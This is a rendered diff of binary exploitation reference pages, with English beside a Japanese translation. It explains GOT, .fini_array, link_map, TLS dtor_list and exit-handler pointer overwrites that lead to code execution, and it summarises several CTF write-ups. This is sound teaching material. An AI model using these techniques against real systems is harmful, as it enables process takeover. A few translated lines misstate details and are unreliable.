A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\ ヒープの脆弱性からRCEを取得する一般的な方法は、ファストビンを悪用することです。これにより、GOTテーブルの一部をファストビンに追加できるため、そのチャンクが割り当てられると、**通常は`free`のポインタを上書きすることが可能になります**。\
Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell. その後、`free``system`に指し、`/bin/sh\x00`が書き込まれたチャンクを解放すると、シェルが実行されます。
It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.** [**ここに例があります**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)****
## **Protections** ## **保護**
The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it: **フルRELRO**保護は、この種の技術から保護するために、バイナリが起動されるときにすべての関数のアドレスを解決し、その後**GOTテーブルを読み取り専用**にすることを目的としています。
{{#ref}} {{#ref}}
../common-binary-protections-and-bypasses/relro.md ../common-binary-protections-and-bypasses/relro.md
{{#endref}} {{#endref}}
## References ## 参考文献
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) - [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)

View File

@ -5,52 +5,48 @@
## .dtors ## .dtors
> [!CAUTION] > [!CAUTION]
> Nowadays is very **weird to find a binary with a .dtors section!** > 現在、**.dtors セクションを持つバイナリを見つけるのは非常に奇妙です!**
The destructors are functions that are **executed before program finishes** (after the `main` function returns).\ デストラクタは、**プログラムが終了する前に実行される関数**です(`main` 関数が戻った後)。\
The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends. これらの関数のアドレスはバイナリの **`.dtors`** セクションに格納されているため、**`__DTOR_END__`** に**シェルコード**の**アドレス**を書き込むことができれば、それはプログラムが終了する前に**実行されます**。
Get the address of this section with:
このセクションのアドレスを取得するには:
```bash ```bash
objdump -s -j .dtors /exec objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR” rabin -s /exec | grep “__DTOR”
``` ```
通常、**DTOR** マーカーは、値 `ffffffff``00000000`**間** に見つかります。したがって、これらの値だけが見える場合、**登録された関数はありません**。したがって、**`00000000`** を **シェルコード****アドレス****上書き** します。
Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
> [!WARNING] > [!WARNING]
> Ofc, you first need to find a **place to store the shellcode** in order to later call it. > もちろん、最初に **シェルコードを格納する場所** を見つける必要があります。その後、呼び出すことができます。
## **.fini_array** ## **.fini_array**
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**. 基本的に、これはプログラムが終了する前に呼び出される **関数の構造** です。これは **`.dtors`** のように、**アドレスにジャンプしてシェルコードを呼び出す** ことができる場合や、**再度 `main` に戻る** 必要がある場合に興味深いです。**脆弱性を再度悪用するために**。
```bash ```bash
objdump -s -j .fini_array ./greeting objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386 ./greeting: file format elf32-i386
Contents of section .fini_array: Contents of section .fini_array:
8049934 a0850408 8049934 a0850408
#Put your address in 0x8049934 #Put your address in 0x8049934
``` ```
注意すべきは、**`.fini_array`** の関数が実行されると次の関数に移動するため、何度も実行されることはなく(無限ループを防ぐ)、ここに配置された関数の**1回の実行**のみが行われることです。
Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here. **`.fini_array`** のエントリは**逆**の順序で呼び出されるため、最後のエントリから書き始めることをお勧めします。
Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one. #### 無限ループ
#### Eternal loop **`.fini_array`** を悪用して無限ループを得るためには、[**ここで行われたことを確認する**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** **`.fini_array`** に少なくとも2つのエントリがある場合、次のことができます
In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can: - 最初の書き込みを使用して**脆弱な任意書き込み関数**を再度呼び出す
- 次に、**`__libc_csu_fini`** によってスタックに保存された戻りアドレスを計算し、そこに**`__libc_csu_fini`**の**アドレス**を置く
- Use your first write to **call the vulnerable arbitrary write function** again - これにより、**`__libc_csu_fini`** が再度自分自身を呼び出し、**`.fini_array`** の関数を再度実行し、脆弱なWWW関数を2回呼び出します1回は**任意書き込み**のため、もう1回はスタック上の**`__libc_csu_fini`**の戻りアドレスを再度上書きするために自分自身を呼び出します。
- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
- This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
> [!CAUTION] > [!CAUTION]
> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**. > [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**では、**セクション**`.fini_array`**は**読み取り専用**になります。
> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also. > 新しいバージョンでは、[**Partial RELRO**]でもセクション**`.fini_array`**は**読み取り専用**になります。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,39 +1,38 @@
# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers # WWW2Exec - atexit(), TLSストレージとその他の混乱したポインタ
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## **\_\_atexit Structures** ## **\_\_atexit構造体**
> [!CAUTION] > [!CAUTION]
> Nowadays is very **weird to exploit this!** > 現在、これを悪用するのは非常に**奇妙です!**
**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\ **`atexit()`**は、**他の関数がパラメータとして渡される**関数です。これらの**関数**は、**`exit()`**を実行するか、**main**の**戻り**時に**実行されます**。\
If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\ もしこれらの**関数**の**アドレス**をシェルコードなどを指すように**変更**できれば、**プロセス**を**制御**することができますが、現在はこれがより複雑です。\
Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\ 現在、実行される**関数へのアドレス**は、いくつかの構造の背後に**隠されており**、最終的に指すアドレスは関数のアドレスではなく、**XORで暗号化され**、**ランダムキー**でオフセットされています。したがって、現在この攻撃ベクターは**少なくともx86**および**x64_86**では**あまり役に立ちません**。\
The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector. **暗号化関数**は**`PTR_MANGLE`**です。**m68k、mips32、mips64、aarch64、arm、hppa**などの**他のアーキテクチャ**は、**暗号化**関数を**実装していません**。なぜなら、それは**入力として受け取ったものと同じ**を返すからです。したがって、これらのアーキテクチャはこのベクターで攻撃可能です。
You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html) この仕組みの詳細な説明は[https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)で見つけることができます。
## link_map ## link_map
As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors. [**この投稿**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)で説明されているように、プログラムが`return`または`exit()`を使用して終了すると、`__run_exit_handlers()`が実行され、登録されたデストラクタが呼び出されます。
> [!CAUTION] > [!CAUTION]
> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it. > プログラムが**`_exit()`**関数を介して終了すると、**`exit`システムコール**が呼び出され、終了ハンドラは実行されません。したがって、`__run_exit_handlers()`が実行されることを確認するには、ブレークポイントを設定できます。
The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
重要なコードは([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)
```c ```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY]; ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL) if (fini_array != NULL)
{ {
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr); ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (sz-- > 0) while (sz-- > 0)
((fini_t) array[sz]) (); ((fini_t) array[sz]) ();
} }
[...] [...]
@ -41,198 +40,187 @@ if (fini_array != NULL)
// This is the d_un structure // This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union { type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure Elf64_Addr d_ptr; // offset from l->l_addr of our structure
} }
``` ```
`map -> l_addr + fini_array -> d_un.d_ptr` を使用して **呼び出す関数の配列の位置を計算**することに注意してください。
Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**. **いくつかのオプション**があります:
There are a **couple of options**: - `map->l_addr` の値を上書きして、任意のコードを実行するための **偽の `fini_array`** を指すようにします。
- `l_info[DT_FINI_ARRAY]``l_info[DT_FINI_ARRAYSZ]` のエントリ(メモリ内でほぼ連続しています)を上書きして、**偽の `Elf64_Dyn`** 構造体を指すようにします。これにより、再び **`array` が攻撃者が制御するメモリ** ゾーンを指すようになります。&#x20;
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code - [**この解説**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) は、`l_info[DT_FINI_ARRAY]``.bss` 内の制御されたメモリのアドレスで上書きし、偽の `fini_array` を含むものです。この偽の配列には、最初に実行される **[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) のアドレス** が含まれ、その後にこの **偽の配列** のアドレスと `map->l_addr`**値** の間の **差** が含まれ、`*array` が偽の配列を指すようになります。
- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.&#x20; - この技術の主な投稿と [**この解説**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) によると、ld.so はスタック上にバイナリ `link_map` を指すポインタを残します。任意の書き込みを使用してこれを上書きし、攻撃者が制御する偽の `fini_array` を指すようにすることが可能です。例えば、**[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md)** のアドレスを含むものです。
- [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
Following the previous code you can find another interesting section with the code:
前のコードに続いて、次のコードを含む別の興味深いセクションがあります:
```c ```c
/* Next try the old-style destructor. */ /* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI]; ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL) if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr)); DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
} }
``` ```
この場合、偽造された `ElfW(Dyn)` 構造体を指す `map->l_info[DT_FINI]` の値を上書きすることが可能です。 [**こちらに詳細情報があります**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)。
In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure). ## TLS-Storage dtor_list の上書き in **`__run_exit_handlers`**
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`** [**こちらに説明があります**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite)が、プログラムが `return` または `exit()` を介して終了すると、登録されたデストラクタ関数を呼び出す **`__run_exit_handlers()`** が実行されます。
As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
Code from `_run_exit_handlers()`:
`_run_exit_handlers()` のコード:
```c ```c
/* Call all functions registered with `atexit' and `on_exit', /* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */ perform stdio cleanup, and terminate program execution with STATUS. */
void void
attribute_hidden attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp, __run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors) bool run_list_atexit, bool run_dtors)
{ {
/* First, call the TLS destructors. */ /* First, call the TLS destructors. */
#ifndef SHARED #ifndef SHARED
if (&__call_tls_dtors != NULL) if (&__call_tls_dtors != NULL)
#endif #endif
if (run_dtors) if (run_dtors)
__call_tls_dtors (); __call_tls_dtors ();
``` ```
**`__call_tls_dtors()`** のコード:
Code from **`__call_tls_dtors()`**:
```c ```c
typedef void (*dtor_func) (void *); typedef void (*dtor_func) (void *);
struct dtor_list //struct added struct dtor_list //struct added
{ {
dtor_func func; dtor_func func;
void *obj; void *obj;
struct link_map *map; struct link_map *map;
struct dtor_list *next; struct dtor_list *next;
}; };
[...] [...]
/* Call the destructors. This is called either when a thread returns from the /* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */ initial function or when the process exits via the exit function. */
void void
__call_tls_dtors (void) __call_tls_dtors (void)
{ {
while (tls_dtor_list) // parse the dtor_list chained structures while (tls_dtor_list) // parse the dtor_list chained structures
{ {
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func; dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj); func (cur->obj);
[...] [...]
} }
} }
``` ```
各登録された関数は **`tls_dtor_list`** において、**`cur->func`** からポインタをデマンガリングし、引数 **`cur->obj`** で呼び出されます。
For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**. この [**GEFのフォーク**](https://github.com/bata24/gef) の **`tls`** 関数を使用すると、実際に **`dtor_list`** が **スタックカナリア****PTR_MANGLEクッキー** に非常に **近い** ことがわかります。したがって、これに対するオーバーフローがあれば、**クッキー** と **スタックカナリア****上書き** することが可能です。\
PTR_MANGLEクッキーを上書きすることで、**`PTR_DEMANLE` 関数をバイパス** することが可能になり、0x00に設定することで、**実際のアドレスを取得するために使用される `xor`** は設定されたアドレスになります。次に、**`dtor_list`** に書き込むことで、関数の **アドレス** とその **引数** を持つ **複数の関数をチェーン** することが可能です。
Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
最後に、保存されたポインタはクッキーと **xored** されるだけでなく、17ビット回転されることに注意してください
```armasm ```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr 0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits 0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE 0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
``` ```
新しいアドレスを追加する前に、これを考慮する必要があります。
So you need to take this into account before adding a new address. [**元の投稿**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) から例を見つけてください。
Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite). ## **`__run_exit_handlers`** における他の混乱したポインタ
## Other mangled pointers in **`__run_exit_handlers`** この技術は [**ここで説明されています**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) であり、プログラムが **`return` または `exit()`** を呼び出して終了することに再び依存しているため、**`__run_exit_handlers()`** が呼び出されます。
This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
Let's check more code of this function:
この関数のコードをさらに確認してみましょう:
```c ```c
while (true) while (true)
{ {
struct exit_function_list *cur; struct exit_function_list *cur;
restart: restart:
cur = *listp; cur = *listp;
if (cur == NULL) if (cur == NULL)
{ {
/* Exit processing complete. We will not allow any more /* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */ atexit/on_exit registrations. */
__exit_funcs_done = true; __exit_funcs_done = true;
break; break;
} }
while (cur->idx > 0) while (cur->idx > 0)
{ {
struct exit_function *const f = &cur->fns[--cur->idx]; struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called; const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor) switch (f->flavor)
{ {
void (*atfct) (void); void (*atfct) (void);
void (*onfct) (int status, void *arg); void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status); void (*cxafct) (void *arg, int status);
void *arg; void *arg;
case ef_free: case ef_free:
case ef_us: case ef_us:
break; break;
case ef_on: case ef_on:
onfct = f->func.on.fn; onfct = f->func.on.fn;
arg = f->func.on.arg; arg = f->func.on.arg;
PTR_DEMANGLE (onfct); PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */ /* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock); __libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg); onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock); __libc_lock_lock (__exit_funcs_lock);
break; break;
case ef_at: case ef_at:
atfct = f->func.at; atfct = f->func.at;
PTR_DEMANGLE (atfct); PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */ /* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock); __libc_lock_unlock (__exit_funcs_lock);
atfct (); atfct ();
__libc_lock_lock (__exit_funcs_lock); __libc_lock_lock (__exit_funcs_lock);
break; break;
case ef_cxa: case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180), /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */ we must mark this function as ef_free. */
f->flavor = ef_free; f->flavor = ef_free;
cxafct = f->func.cxa.fn; cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg; arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct); PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */ /* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock); __libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status); cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock); __libc_lock_lock (__exit_funcs_lock);
break; break;
} }
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered /* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */ more exit functions. Start the loop over. */
goto restart; goto restart;
} }
*listp = cur->next; *listp = cur->next;
if (*listp != NULL) if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically /* Don't free the last element in the chain, this is the statically
allocate element. */ allocate element. */
free (cur); free (cur);
} }
__libc_lock_unlock (__exit_funcs_lock); __libc_lock_unlock (__exit_funcs_lock);
``` ```
変数 `f`**`initial`** 構造体を指しており、`f->flavor` の値に応じて異なる関数が呼び出されます。\
値に応じて、呼び出す関数のアドレスは異なる場所にありますが、常に **demangled** されています。
The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\ さらに、オプション **`ef_on`** と **`ef_cxa`** では **引数** を制御することも可能です。
Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**. デバッグセッションで GEF を実行して **`gef> p initial`** で **`initial` 構造体** を確認することができます。
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**. これを悪用するには、`PTR_MANGLE` クッキーを **leak** するか消去し、その後 `system('/bin/sh')` で初期の `cxa` エントリを上書きする必要があります。\
この例は [**技術に関する元のブログ投稿**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure) で見つけることができます。
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,18 +1,18 @@
# Array Indexing # 配列インデックス
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability. このカテゴリには、配列のインデックスの処理におけるエラーによって特定のデータを上書きすることが可能になるために発生するすべての脆弱性が含まれています。これは非常に広いカテゴリであり、特定の方法論はありません。なぜなら、エクスプロイトメカニズムは脆弱性の条件に完全に依存するからです。
However he you can find some nice **examples**: しかし、いくつかの良い**例**を見つけることができます:
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`. - **2つの衝突する配列**があります。1つはデータが保存される**アドレス**用、もう1つはそのデータの**サイズ**用です。片方からもう片方を上書きすることが可能で、任意のアドレスをサイズとして指定することができます。これにより、GOTテーブル内の`free`関数のアドレスを書き込み、その後`system`のアドレスで上書きし、`/bin/sh`を持つメモリからfreeを呼び出すことができます。
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there. - 64ビット、nxなし。サイズを上書きして、すべてのものが倍の数として使用され、最小から最大にソートされるようなバッファオーバーフローを引き起こします。そのため、その要件を満たすシェルコードを作成する必要があります。カナリアがその位置から移動しないことを考慮し、最終的にRIPをretへのアドレスで上書きし、以前の要件を満たし、スタックの開始を指す新しいアドレスを持つ最大のアドレスを配置しますプログラムによって漏洩された
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used. - 64ビット、relroなし、カナリアあり、nxなし、pieなし。スタック内の配列にオフバイワンがあり、ポインタを制御することができます。これにより、WWWを付与します配列のすべての数の合計を上書きされたアドレスに書き込みます。スタックは制御されているため、GOTの`exit`アドレスが`pop rdi; ret`で上書きされ、スタックに`main`へのアドレスが追加されます(`main`に戻るループ。次に、putsを使用してGOT内のputのアドレスを漏洩させるためのROPチェーンが使用されます`exit`が呼び出されるため、`pop rdi; ret`が呼び出され、このチェーンがスタックで実行されます。最後に、ret2libを実行する新しいROPチェーンが使用されます。
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). - 32ビット、relroなし、カナリアなし、nxなし、pieなし。悪いインデックスを利用して、スタックからlibcとヒープのアドレスを漏洩させます。バッファオーバーフローを利用して、`system('/bin/sh')`を呼び出すret2libを行いますヒープアドレスはチェックをバイパスするために必要です

View File

@ -1,111 +1,111 @@
# Basic Binary Exploitation Methodology # 基本的なバイナリエクスプロイテーションの方法論
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## ELF Basic Info ## ELFの基本情報
Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**: 何かをエクスプロイトする前に、**ELFバイナリ**の構造の一部を理解することが興味深いです:
{{#ref}} {{#ref}}
elf-tricks.md elf-tricks.md
{{#endref}} {{#endref}}
